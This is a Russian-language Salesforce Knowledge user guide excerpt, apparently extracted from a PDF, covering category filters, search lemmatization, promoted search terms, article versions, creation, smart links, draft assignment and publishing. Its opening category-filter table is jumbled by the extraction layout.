НЕНАЙДЕНА. Причины:НЕНАЙДЕНА. Причины:НЕНАЙДЕНА. Причины:Франция

И • Категория «Европа»
является родительской

• Категории «Канада» и
«Франция» не являются

• Категории «Портативные
компьютеры» иПромышленнаяэлектроника

для категорииродительскими или«Промышленная
«Франция», но должныдочерними, так как

являютсяродственными.
электроника» не
являютсяродительскими
или дочерними.

быть выполнены все
критерии фильтрации.• Категории

«Компьютеры» и• •Категория «Все страны»
является родительской

Чтобы извлечь статью,
которой не назначена«Промышленная

для категории категория, выберитеэлектроника» не
«Франция», но должны пункт «Нет фильтра» вявляютсяродительскими
быть выполнены все
критерии фильтрации.

соответствующем
раскрывающемся меню
категорий.

или дочерними, так как
являются
одноуровневыми.

НАЙДЕНА. Причины:НЕНАЙДЕНА. Причины:НЕНАЙДЕНА. Причины:Европа

(Без других фильтров) • Категория «Европа» —
это точное совпадение.

• Категории «Европа» и
«Канада» не являются

• Критерий «Нетфильтра»
в группе категорий
«Продукты» извлекает родительскими или

дочерними.
• Статье назначена

категория «Неттолько статьи,
назначенные категории
«Нет категории».

категории» группы
категорий «Продукты» и

• Критерий «Нетфильтра»
в группе категорий

выбран фильтр «Нет
фильтра».

«Продукты» извлекает
только статьи,
назначенные категории
«Нет категории».

• Категория «Все страны»
является
прародительской для
категории «Европа», но
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Статья, назначенная
только категории
«Европа»

Статья, назначенная
категориям «Канада» И
«Компьютеры»

Статья, назначенная
категориям «Все страны»
И «Портативные
компьютеры»

Фильтры категории

должныбытьвыполнены
все критерии
фильтрации.

НЕНАЙДЕНА. Причины:НАЙДЕНА. Причины:НЕНАЙДЕНА. Причины:Северная иЮжнаяАмерика

И • Категории «Америка» и
«Европа» являются

• Категория «Канада»
является дочерней для
категории «Америка».

• Категории «Портативные
компьютеры» и
«Настольные

Настольные компьютеры
одноуровневыми, а не
родительскими или
дочерними.

компьютеры» являются
одноуровневыми, а не
родительскими или
дочерними.

• Категория
«Компьютеры» является
родительской для
категории «Настольные
компьютеры».

• Чтобы извлечь статью,
которой не назначена
категория, выберите
пункт «Нет фильтра» в

• Категория «Все страны»
является родительской

соответствующемдлякатегории «Америка»,
раскрывающемся меню
категорий.

но должны быть
выполненывсекритерии
фильтрации.

Группа категорий «Продукты»

• Все продукты

– Бытовая электроника

• Фотоаппараты

• Аудиотехника

• Принтеры

– Промышленная электроника

• Маршрутизаторы

• Коммутаторы

• PEX

– Компьютеры

• Портативные компьютеры

• Настольные компьютеры

• КПК

Группа категорий «География»

• Все страны

– Северная иЮжная Америка
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США•

• Канада

• Бразилия

– Азия

• Китай

• Япония

• Индия

– Европа

• Франция

• Великобритания

• Польша

СМ. ТАКЖЕ:

Поиск статей

Алгоритм лемматизации в поисках по статьям Salesforce Knowledge
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Алгоритм лемматизации в поисках по статьям Salesforce Knowledge

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
опубликованных статей на
вкладке «Статьи» или в
связанном списке «Статьи»:
• «Чтение» для типа

статьи

Для просмотра черновых,
опубликованных или
архивных статей на вкладке
«Управление статьями»:
• «Управление статьями»

И

«Чтение» для типа
статьи

Лемматизация — это процесс группирования разных форм слова, которые могут
анализироваться как отдельный термин. Благодаря лемматизации, поиск может
обрабатывать другие формы поискового термина. Например, поиск по запросу «бег»
возвращает элементы, содержащие слова «бегать», «бегун» и «бегом». Данный алгоритм
применяетсятолькоктипуискомогослова: поисксуществительноговозвращаетварианты
формы существительного; поиск глагола возвращает варианты формы глагола и т. д.

Прим.: Лемматизация доступна только для статей на следующих языках: датский,
голландский, английский, французский, немецкий, еврейский, итальянский,
корейский, норвежский, португальский, румынский, русский, испанскийишведский.
Кроме того, поиск должен быть инициирован пользователем, просматривающим
приложение на одном из данных языков. Стандартный язык организации может
быть изменен на странице «Сведения о компании».

Если организация поддерживает лемматизацию, то поисковые термины, как правило,
подлежат лемматизации. Обратите внимание на рекомендации и исключения ниже.

Специальные символы
Если поисковая фраза содержит звездочку (*), то поисковые термины не подлежат
лемматизации. Например, поисковыйзапрос охлаждение прод* невозвращаетформы
охлаждать или охлажденный.

Поиски точнойфразы
Еслипоисквыполняетсяпофразе, заключеннойвкавычки (“ ”), топоисковыетермины
подлежатлемматизации. Например, поисковыйзапрос "пить сок" вкусный возвращает
формы пил соки и вкусно.

Синонимы
Заданный синоним не подлежит лемматизации в результатах поиска. Однако,
лемматизацииподлежитпоисковый термин. Например, пользователь задает группу
синонимов ниже.

охлажденный, пить апельсиновый сок

Поисковыйзапрос охлаждать возвращаетформы охлаждать, охлажденный, охлаждение
и пить апельсиновый сок, но не возвращает форму питье апельсинового сока.

СМ. ТАКЖЕ:

Поиск статей

Пример результатов поиска статьи
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Продвижение статьи в результатах поиска пользователей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
продвигаемых поисковых
терминов:
• «Управление

продвигаемыми
поисковымитерминами»

Связывание ключевых слов со статьями позволяет оптимизировать результаты поиска
по Salesforce Knowledge. Благодаря данным ключевым словам, статья отображается в
результатах поиска первой. Продвигаемые поисковые термины используются для
продвижения популярной статьи, при условии, что поисковый запрос пользователя
содержит определенные ключевые слова.

Управление продвигаемыми терминами доступно только для опубликованных статей.

1. Установите переключатель «Опубликованные статьи» в разделе «Просмотр»
вкладки «Управление статьями» ищелкните заголовок нужной опубликованной
статьи.

2. Нажмите кнопку «Создать продвигаемый термин» в связанном списке
«Продвигаемые поисковые термины».

3. Введите нужные ключевые слова.

• Одинитотжетерминможетбытьсвязанснесколькимистатьями. Еслипоисковый
запрос пользователя соответствует продвигаемому термину, то все связанные
статьи продвигаются в результатах поиска по релевантности.

• Продвигаемыйтерминможетсодержатьнеболее 100 символов. Чтобыповысить
точность результатов, соответствующих поисковым запросам пользователей,
каждыйпродвигаемыйтерминдолженбытьограниченнесколькимиключевыми
словами.

4. Нажмите кнопку «Сохранить».

Пример: Так, если статья решает типичную проблему (например, ошибку входа),
рекомендуем связать термины «пароль» и «изменение пароля». Если поисковый
запрос пользователя содержит все ключевые слова термина (в любой
последовательности), то поиск возвращает соответствующую статью. Каждое
ключевое слово должно совпадать полностью. Например:

• Продвигаемый термин «пароль» соответствует поиску по запросу «изменить
пароль».

• Продвигаемый термин «изменение пароля» соответствует поиску по запросу «как
изменить мой пароль?», но не соответствует поиску по запросу «восстановить
пароль».

• Продвигаемый термин «пароль» не соответствует поиску по запросу «изменить
пароли».

Ниже перечислены ограничения по использованию продвигаемых поисковых терминов.

• Организация может создавать не более 2 000 продвигаемых терминов. Рекомендуем использовать продвигаемые
терминыизбирательно, тоестьсоздаватьограниченноеколичествопродвигаемыхтерминовиограниченноеколичество
продвигаемых статей для каждого термина.

• Если организация переводит статьи на разные языки, то каждый продвигаемый термин связывается с одной версией
статьи и ее языком. Чтобы связать эквивалентные продвигаемые термины с каждым переводом, рекомендуем указать
продвигаемые терминыдля каждогоперевода. Например, свяжите термин «change password» с англоязычной версией,
а термин «changer mot de passe» с франкоязычной версией статьи.
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• Язык конечного пользователя определяет область для поиска статей. Результаты поиска содержат только версии
статьи и связанные продвигаемые термины, доступные на языке пользователя.

СМ. ТАКЖЕ:

Управление продвигаемыми поисковыми терминами

Просмотр статей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
опубликованных статей на
вкладке «Статьи» или в
связанном списке «Статьи»:
• «Чтение» для типа

статьи

Для просмотра черновых,
опубликованных или
архивных статей на вкладке
«Управление статьями»:
• «Управление статьями»

И

«Чтение» для типа
статьи

Для редактирования статей:
• «Редактирование» для

типа статьи

Просмотр и редактирование статьи на вкладке «Статьи»

Чтобы просмотреть опубликованную статью, щелкните заголовок нужной статьи на
вкладке «Статьи». Форматисодержимоестатьиопределяютсятипомстатьи, выбранным
администратором; все статьи содержат расширяемый верхний колонтитул «Свойства»,
определяющий сведения ниже.

• «Аудитория статьи»: категории данных статьи. Данное поле доступно только при
использовании категорий данных.

• «Номер статьи»: уникальный номер, назначаемый статье автоматически.

• «Каналы»: каналы отображения статьи. Ниже перечислены доступные каналы.

– Внутреннее приложение

– Партнерские порталы

– Клиентские порталы

– Общедоступная база знаний

• «Дата первой публикации»: дата и время первоначальной публикации статьи.

• «Дата последнего изменения»: дата и время последнего существенного или
незначительного обновления статьи.

• «Дата последней публикации»: дата и время последнего существенного обновления
статьи. Приповторнойпубликациисущественноеобновлениеобозначаетсяфлажком
новой статьи.

• «Сводка»: краткое описание статьи.

• «Статус проверки»: указывает на то, была ли проверена статья.

Еслиданнаяфункциявключенана странице «Параметрыбазызнаний», топользователи
могут редактировать текущую версию статьи путем нажатия кнопки «Правка» и ее
изменения на странице редактирования статьи.

Верхнийколонтитулпозволяетоцениватьстатью 1—5 звездамиипросматриватьсредний
рейтинг статьи. Средние показатели постоянно меняются. В случае отсутствия новых
голосов средний рейтинг статьи понижается или повышается каждые 15 дней. Данное
изменение позволяет новым популярным статьям конкурировать со старыми или
устаревшимистатьямизаболее высокиеилинизкиерейтинги. Вслучаеотсутствияновых
голосов статьям присваивается средний рейтинг, равный трем звездам. Каждая статья
может быть оценена только один раз.

Если организация использует Chatter, то лента Chatter может отображать обновления, комментарии и сообщения для
статей.
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Просмотр статьи на вкладке «Управление статьями»

Ниже перечислены действия, доступные на странице спискового представления для черновых, опубликованных или
архивных статей.

• Чтобы просмотреть версию страницы сведений о статье, доступную только для чтения, щелкните заголовок нужной
статьи. Чтобы обновить статью, щелкните ссылку «Правка».

• Чтобы открыть окно предварительного просмотра, щелкните ссылку «Предварительный просмотр» напротив
нужнойстатьи. Выберителюбойнужныйканал, кромеобщедоступнойбазызнаний, враскрывающемсяменю «Канал».

Прим.: Припредварительномпросмотре статьибазызнанийпользователюнедоступноголосованиеисведения
Chatter.

СМ. ТАКЖЕ:

Общие сведения о Salesforce Knowledge

Терминология Salesforce Knowledge
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Версии статьи Salesforce Knowledge

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.
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ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования или
удаления статей:
• «Управление статьями»

И

«Создание», «Чтение»,
«Редактирование» или
«Удаление» для типа
статьи

Для публикации или
архивирования статей:
• «Управление статьями»

И

«Создание», «Чтение»,
«Редактирование» и
«Удаление» для типа
статьи

Для отправки статей на
перевод:
• «Управление статьями»

И

«Создание», «Чтение» и
«Редактирование» для
типа статьи

Для отправки статей на
утверждение:
• Полномочия

определяются
параметрами процесса
утверждения

Версии статьи позволяют сохранять предыдущие версии опубликованных статей и
определять версии статей, связанные с обращениями. Чтобы сохранить предыдущую
версию, установите флажок «Пометить как новая версия» при публикации новой
версии. Предыдущая опубликованная версия сохраняется, а новая версия публикуется
со следующим порядковым номером, являющимся уникальным идентификатором.

При публикации новой версии статьи, вложенной в обращение, предыдущая версия
статьи определяется системой как устаревшая. Например, при публикации третьей
версии статьи вторая версия, вложенная в обращение, отображается как «Версия 2
(устаревшая)». Такая система обозначения позволяет легко определить версию
содержимого, связанную с обращением.

При выборе номера версии в представлении статьи, на странице сведений о статье или
переводе, отображаетсясписок «Журналверсии». Нижеперечисленыдействия, доступные
в данном списке.

• Просмотрите список архивных версий.

• Чтобы просмотреть версию статьи, щелкните заголовок нужной версии.

• Чтобы просмотреть журнал изменения полей, разверните версию статьи (если для
типа статьи и полей включена функция отслеживания журнала).

Поумолчаниюсистема сохраняетнеболее 10 версийстатьиилюбыеверсии, вложенные
в обращения.

При наличии нескольких версий статьи устаревшая версия может быть восстановлена
иповторноопубликована. Чтобыскопироватьсодержимоеархивнойверсиивчерновую
статью, а затемвыполнитьееповторнуюпубликациювкачественовойверсии, щелкните
«Восстановить черновую версию». Одновременно можете восстановить устаревшую
версию любых связанных переводов.

Прим.: При наличии черновой статьи восстановление недоступно.

Чтобыудалитьустаревшуюверсиюопубликованнойстатьи, щелкните «Удалить данную
версию» на странице сведений о статье.

1. Откройте вкладку «Статьи» на левой боковой панели «Просмотр» вкладки
«Управление статьями».

2. Установите переключатель «Опубликованные статьи».

3. Щелкните заголовок нужной статьи в списке опубликованных статей.

4. Щелкните нужный номер версии на левой боковой панели «Свойства статьи».

5. Щелкните нужный номер версии во всплывающем окне.

6. Щелкните «Удалить данную версию». Если версия связана с обращением, то система Salesforce отображает
соответствующее предупреждение. Удаленная версия статьи также удаляется из обращения. Переведенные версии
статьи зависят от основной статьи. Удаление основной версии инициирует удаление переведенных версий.

7. Чтобы удалить версию, нажмите кнопку «Удалить».

Крометого, версииотображаютсявнастраиваемыхотчетах, позволяянаходитьипросматриватьверсиистатьи, вложенные
в обращения.

СМ. ТАКЖЕ:

Управление статьями и переводами
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Создание и редактирование статей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания статей:
• «Управление статьями»

И

«Создание» и «Чтение»
для типа статьи

Для редактирования
черновых статей:
• «Управление статьями»

И

«Чтение» и
«Редактирование» для
типа статьи

Для редактирования
опубликованных или
архивных статей:
• «Управление статьями»

И

«Создание», «Чтение» и
«Редактирование» для
типа статьи

Создание статей
Чтобы создать статью, выполните указанные ниже действия.

1. Нажмите кнопку «Создать» на вкладке «Управление статьями» или в связанном
списке обращения «Статьи».

2. При наличии многоязычной поддержки выберите используемый язык.

3. Выберите тип статьи, введите заголовок статьи и нажмите кнопку «OK».

4. Измените поля статьи и выберите статус проверки. Если статья содержит поле типа
«Область обогащенного текста», рекомендуем добавить некоторые элементы
форматирования (например, маркированные списки, ссылки и изображения).

5. Выберите нужные категории в области «Категории».

• Чтобы открыть диалоговое окно выбора категории, щелкните ссылку «Правка»
напротив нужной группы категорий.

• Чтобы выбрать нужную категорию, разверните иерархию категорий в списке
«Доступные категории».

• Чтобы переместить выбранную категорию в список «Выбранные категории»,
нажмите кнопку «Добавить». Разрешается использовать не более 8 категорий
данных в группе категорий данных, назначенной статье.

Прим.: Категория и ее дочерние категории не могут быть одновременно
добавлены в список «Выбранные категории». При добавлении категории
в статью:

– Дочерниекатегориив списке «Доступные категории» доступнытолько
после удаления родительской категории из списка «Выбранные
категории».

– Дочерниекатегориивсписке «Выбранные категории» неотображаются.

Поиск статей может быть выполнен по точной категории или
родительской/дочерней категории.

• Нажмите кнопку «OK».

6. Выберите канал для отображения опубликованной статьи в области «Каналы».

• Внутреннее приложение: Доступ к статьям на вкладке «Статьи» предоставляется
пользователям Salesforce на основе доступности их ролей.

• Клиент: Доступ к статьям предоставляется клиентам только при отображении
вкладки «Статьи» всообществеилинаклиентскомпортале. Пользователи-клиенты
наследуют доступность роли от менеджера организации. В сообществе статья
доступна только пользователям с лицензией Customer Community или Customer
Community Plus.

• Партнер: Доступ к статьям предоставляется партнерам только при отображении вкладки «Статьи» в сообществе
или на партнерском портале. Пользователи-партнеры наследуют доступность роли от менеджера организации.
В сообществе статья доступна только пользователям с лицензией Partner Community.
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• Общедоступная база знаний: Чтобы предоставить анонимным пользователям доступ к статьям, рекомендуем
создать общедоступную базу знаний посредством приложения «Образец общедоступной базы знаний для Salesforce
Knowledge» из каталога AppExchange. Создание общедоступной базы знаний требует наличия Sites и Visualforce.

• Собственный веб-сайт. Чтобы предоставить пользователям доступ к статьям, воспользуйтесь корпоративным
веб-сайтом.

7. Чтобы сохранить внесенные изменения и продолжить работу на данной странице, нажмите кнопку «Быстрое
сохранение». Чтобы сохранить внесенные изменения, закрыть статью и открыть вкладку «Управление статьями»,
нажмите кнопку «Сохранить».

8. Дополнительно:

• Создайте назначение для просмотра или редактирования статьи.

• Опубликуйте статью.

• Отправьте статью на утверждение. Кнопки «Опубликовать...» и «Отправить на утверждение» отображаются
толькоприназначениипользователюдействия «Опубликовать статьи» инастройкепроцесса утверждения статьи.

Редактирование статей и переводов
Редактирование статей и переводов доступно только при назначении соответствующих полномочий для типа статьи и
действия «Редактировать опубликованные и архивные статьи».

Чтобы изменить статью, выполните указанные ниже действия.

1. Щелкнитессылку «Правка»навкладке «Управлениестатьями» илинажмитекнопку «Правка»настраницесведений
о статье или переводе.

2. Чтобы изменить опубликованную статью или перевод, создайте черновую копию для работы или отмените
публикацию исходной статьи и измените ее напрямую. При использовании копии статьи опубликованная копия
заменяет последнюю опубликованную версию статьи. При использовании исходной статьи каналы предоставляют
доступ к статье только после повторной публикации.

3. Измените поля статьи и выберите статус проверки. Если статья содержит поле типа «Область обогащенного текста»,
рекомендуем добавить некоторые элементыформатирования (например, маркированные списки, ссылки и
изображения).

4. Выберите нужные категории в области «Категории».

• Чтобыоткрытьдиалоговоеокновыборакатегории, щелкнитессылку«Правка»напротивнужнойгруппыкатегорий.

• Чтобы выбрать нужную категорию, разверните иерархию категорий в списке «Доступные категории».

• Чтобы переместить выбранную категорию в список «Выбранные категории», нажмите кнопку «Добавить».
Разрешается использовать не более 8 категорий данных в группе категорий данных, назначенной статье.

Прим.: Категория и ее дочерние категории не могут быть одновременно добавлены в список «Выбранные
категории». При добавлении категории в статью:

– Дочерние категории в списке «Доступные категории» доступны только после удаления родительской
категории из списка «Выбранные категории».

– Дочерние категории в списке «Выбранные категории» не отображаются.

Поиск статей может быть выполнен по точной категории или родительской/дочерней категории.

• Нажмите кнопку «OK».

5. Выберите канал для отображения опубликованной статьи в области «Каналы».
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Внутреннееприложение: Доступ к статьямна вкладке «Статьи» предоставляетсяпользователям Salesforceнаоснове
доступности их ролей.

•

• Клиент: Доступ к статьямпредоставляется клиентам толькоприотображении вкладки «Статьи» в сообществе или
на клиентском портале. Пользователи-клиенты наследуют доступность роли от менеджера организации. В
сообществе статья доступна только пользователям с лицензией Customer Community или Customer Community Plus.

• Партнер: Доступ к статьям предоставляется партнерам только при отображении вкладки «Статьи» в сообществе
или на партнерском портале. Пользователи-партнеры наследуют доступность роли от менеджера организации.
В сообществе статья доступна только пользователям с лицензией Partner Community.

• Общедоступная база знаний: Чтобы предоставить анонимным пользователям доступ к статьям, рекомендуем
создать общедоступную базу знаний посредством приложения «Образец общедоступной базы знаний для Salesforce
Knowledge» из каталога AppExchange. Создание общедоступной базы знаний требует наличия Sites и Visualforce.

• Собственный веб-сайт. Чтобы предоставить пользователям доступ к статьям, воспользуйтесь корпоративным
веб-сайтом.

6. Чтобы сохранить внесенные изменения и продолжить работу на данной странице, нажмите кнопку «Быстрое
сохранение». Чтобы сохранить внесенные изменения, закрыть статью и открыть вкладку «Управление статьями»,
нажмите кнопку «Сохранить».

7. Дополнительно:

• Создайте назначение для просмотра или редактирования статьи.

• Опубликуйте статью.

Советы по внедрению
• При применении категорий рекомендуем выбирать категории, вероятность поиска которых более высока. Статья

может быть найдена только при выборе точной категории, родительской категории или дочерней категории.

• Статьяможетодновременноредактироватьсянесколькимипользователями. If that occurs, your changes can be overwritten
by a colleague without warning, even if you save your work frequently. To avoid accidental data loss, instruct all users who edit
articles to edit only the articles they're assigned.

Рекомендации
• Назначьте статьи пользователям, которые должны продолжить их обработку. Введите краткие и четкие инструкции

по назначению. Укажите крайний срок выполнения назначения. Если рабочая группа базы знаний использует
назначенияданнымспособом, тостатусчерновыхстатейорганизацииможетотслеживатьсяпосредствомпредставлений
черновых статей на вкладке «Управление статьями».

• Назначьте себе нужные статьи.

СМ. ТАКЖЕ:

Общие сведения о Salesforce Knowledge

Терминология Salesforce Knowledge

Назначение черновых статей

Публикация статей и переводов
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Интеллектуальные ссылки на статьи Salesforce Knowledge

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания статей:
• «Управление статьями»

И

«Чтение» и «Создание»
для типа статьи

Статья может быть дополнена интеллектуальной ссылкой на другую статью.

Интеллектуальные ссылки корректируются автоматически при изменении имени или
URL-адресастатьи. Например, приизмененииимени URL-адресастатьиSalesforce Knowledge
автоматическиобновляет URL-адрес статьина основе канала, а также добавляетпрефикс
сайта для общедоступной базы знаний и имя сообщества для портала сообщества.
Редактор обогащенного текста поддерживает два способа дополнения статьи Salesforce
Knowledge интеллектуальной ссылкой на другую статью.

• Поиск статьи.

• Ввод URL-адреса статьи.

Важное замечание: Интеллектуальныессылкиопираютсянаканалыиспользования.
Таким образом, интеллектуальная ссылка на статью не может быть добавлена в
другой канал. Например, статья общедоступной базы знаний не может ссылаться
на статью, опубликованную только во внутреннем канале.

2546

Salesforce KnowledgeПоддержка клиентов



Интеллектуальные ссылки на статьи Salesforce Knowledge посредством поиска

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания статей:
• «Управление статьями»

И

«Чтение» и «Создание»
для типа статьи

Статьяможетбытьдополненаинтеллектуальнойссылкойнадругуюстатьюпосредством
диалогового окна «Связать статью» редактора обогащенного текста.

Чтобы создать интеллектуальную ссылку при создании или редактировании статьи,
воспользуйтесь поиском по ключевым словам в поле типа «Область обогащенного
текста».

1. Установите курсор в нужную область.

2.
Щелкните значок ссылки ( ).

Данное действие инициирует отображение диалогового окна «Связать статью».

3. При необходимости выберите язык для поиска.

ВпротивномслучаеSalesforce Knowledge возвращаетсвязанныестатьинастандартном
языке базы знаний.

4. При необходимости выберите тип статуса публикации для поиска.

• Интерактивная версия (значение по умолчанию, если статус публикации не
выбран)

• Черновик

• Черновые переводы (если база знаний является мультиязычной)

5. Введите ключевые слова в поле поиска.

6. Щелкните значок поиска в конце поля поиска.

Данное действие инициирует отображение первых 20 связанных статей.

7. Выберите нужную статью из списка статей.

Важное замечание: Интеллектуальные ссылки опираются на каналы использования. Таким образом,
интеллектуальная ссылка на статью не может быть добавлена в другой канал. Например, статья общедоступной
базы знаний не может ссылаться на статью, опубликованную только во внутреннем канале.

8. Чтобы просмотреть статью в другом окне, щелкните «Открыть статью».

9. При необходимости откройте вкладку «Цель» и выберите области отображения данной статьи.

• «Не задано»: связанная статья открывается в той же рамке.

• «Рамка»: связанная статья открывается в определенной рамке.

• «В новом окне (_blank)»: связанная статья открывается в новом окне или вкладке.

• «В активном окне (_top)»: связанная статья открывается в полноразмерном окне.

• «В текущем окне (_self)»: связанная статья открывается в той же рамке.

• «В родительском окне (_parent)»: связанная статья открывается в родительской рамке.

10. Нажмите кнопку «OK».

Прим.: Интеллектуальные ссылки добавляютбольше символов, чемотображается. Приотображенииошибки,
уведомляющейо превышении ограничения по количеству символов, обратитесь к администратору с просьбой
увеличить данное ограничение.
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Интеллектуальные ссылки на статьи Salesforce Knowledge посредством URL-адресов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания статей:
• «Управление статьями»

И

«Чтение» и «Создание»
для типа статьи

Статья Salesforce Knowledgeможетбытьдополненаинтеллектуальнойссылкойнадругую
статью путем ввода вручную URL-адреса статьи в редакторе обогащенного текста.

Чтобы создать интеллектуальную ссылку вручную при создании или редактировании
статьи, воспользуйтесь полем типа «Область обогащенного текста».

1. Выделите нужное содержимое или установите курсор в нужную область.

2.

Щелкните значок ссылки ( ).

3. Выберите тип ссылки «URL-адрес».

4. Выберите протокол <other>.

5. Введите следующий URL-адрес статьи:
/articles/[язык]/[тип_статьи]/[имя_URL-адреса].

Например, статье многоязычной базы знаний на русском языке, которой назначен
тип статьи «Вопросы и ответы» и имя URL-адреса «Общие сведения о паролях»
соответствует следующий URL-адрес: /articles/RU/Вопросы и ответы/Общие
сведения о паролях. Рекомендуем указывать язык только при использовании
многоязычной базы Salesforce Knowledge.

Важное замечание: Интеллектуальные ссылки опираются на каналы
использования. Таким образом, интеллектуальная ссылка на статью не может
быть добавлена в другой канал. Например, статья общедоступнойбазы знаний
не может ссылаться на статью, опубликованную только во внутреннем канале.

6. При необходимости откройте вкладку «Цель» и выберите области отображения
данной статьи.

• «Не задано»: связанная статья открывается в той же рамке.

• «Рамка»: связанная статья открывается в определенной рамке.

• «В новом окне (_blank)»: связанная статья открывается в новом окне или вкладке.

• «В активном окне (_top)»: связанная статья открывается в полноразмерном окне.

• «В текущем окне (_self)»: связанная статья открывается в той же рамке.

• «В родительском окне (_parent)»: связанная статья открывается в родительской рамке.

7. Нажмите кнопку «OK».

Прим.: Интеллектуальные ссылки добавляютбольше символов, чемотображается. Приотображенииошибки,
уведомляющейо превышении ограничения по количеству символов, обратитесь к администратору с просьбой
увеличить данное ограничение.

2548

Salesforce KnowledgeПоддержка клиентов



Назначение черновых статей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания черновых
статей:
• «Управление статьями»

И

«Создание» и «Чтение»
для типа статьи

Для назначения черновых
статей:
• «Управление статьями»

И

«Чтение» и
«Редактирование» для
типа статьи

Какправило, работанадчерновымистатьямивыполняется командой: разные участники
редакционной группы создают черновики, корректируют и форматируют текст,
добавляют графические данные и многое другое. После выполнения текущей задачи
Salesforce Knowledge позволяет назначать черновые статьи другим соавторам.

Например, автор назначает созданную статью самому себе с инструкцией «Добавить
содержимоедо 10 числа». Завершивстатью 10 числа, авторутребуетсяпомощьдизайнера.
Статья назначается дизайнеру с инструкцией «Завершить дизайн до 20 числа» (действие
2). Чтобы просмотреть новые назначения, дизайнер должен выбрать значение «Мне»
впараметре «Назначено» навложеннойвкладке «Черновые статьи» вкладки «Управление
статьями». Завершив работу, дизайнер переназначает статью автору для финальной
проверки. Статья отображается с новой инструкцией: «Проверьте статью перед
публикацией» (действие 3). Автор просматривает статью и планирует ее публикацию
на 31 число.

Назначение — это черновая статья, назначенная другому пользователю для
редактирования. Назначениямогут содержать краткиеинструкцииикрайнийсрок.При
создании статьи новое назначение добавляется автоматически. При необходимости
измените назначение, введите инструкции, выберите назначенного и укажите крайний
срок. Одновременно статьи могут использовать только одно назначение. Обратите
внимание, чторедактированиестатьидоступновсемпользователямссоответствующими
полномочиями, даже пользователям, которые не являются назначенными.

Чтобыпросмотретьназначениянавкладке «Управлениестатьями», выполнитеуказанные
ниже действия.

1. Выберите вложенную вкладку «Статьи» в области «Просмотр».

2. Установите переключатель «Черновые статьи».

3. Отфильтруйтестатьипозначению «Мне». Чтобыпросмотретьсписоквсехчерновых
статей организации, отфильтруйте статьи по значению «Любые».

Чтобы назначить или переназначить статью, выполните указанные ниже действия.

1. Установитепереключатель «Черновые статьи», затем установитефлажокнапротив
нужной статьи и нажмите кнопку «Назначить...». Или нажмите кнопку
«Назначить...» на странице просмотра или редактирования сведений о статье.

2. Выберите пользователя.

3. Введите инструкции для назначения.

4. Выберите крайний срок.

5. Чтобы отправить выбранным пользователям сообщение эл. почты, содержащее инструкции, установите флажок
«Отправить сообщение эл. почты».

Прим.: Привыборенескольких статей каждыйназначенныйпользовательполучает одно сообщение эл. почты
на каждые 10 назначенных статей.

6. Нажмите кнопку «OK».
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Рекомендации
• Если редактирование выполняется командой в несколько этапов, то управление данными этапами осуществляется

посредством назначений.

• Статьяможетодновременноредактироватьсянесколькимипользователями. If that occurs, your changes can be overwritten
by a colleague without warning, even if you save your work frequently. To avoid accidental data loss, instruct all users who edit
articles to edit only the articles they're assigned.

• Назначьте себе нужные статьи.

СМ. ТАКЖЕ:

Терминология Salesforce Knowledge

Публикация статей и переводов

Создание и редактирование статей
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Публикация статей и переводов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для публикации статей:
• «Управление статьями»

И

«Создание», «Чтение»,
«Редактирование» и
«Удаление» для типа
статьи

Для публикации
переведенных статей:
• «Управление статьями»

И

«Создание», «Чтение»,
«Редактирование» и
«Удаление» для типа
статьи

Опубликованные статьи и переводы доступны во всех выбранных каналах. Если
публикуемая статья содержит переводы, то публикуются все версии статьи.

Публикация статей или переводов доступна только при назначении соответствующих
полномочий для типа статьи и действия «Опубликовать статьи» или «Опубликовать
переведенные статьи». Если организация использует процессы утверждения, то статья
публикуется толькопосле утверждения. Обратите внимание, чтопроцессыутверждения
недоступны для переводов.

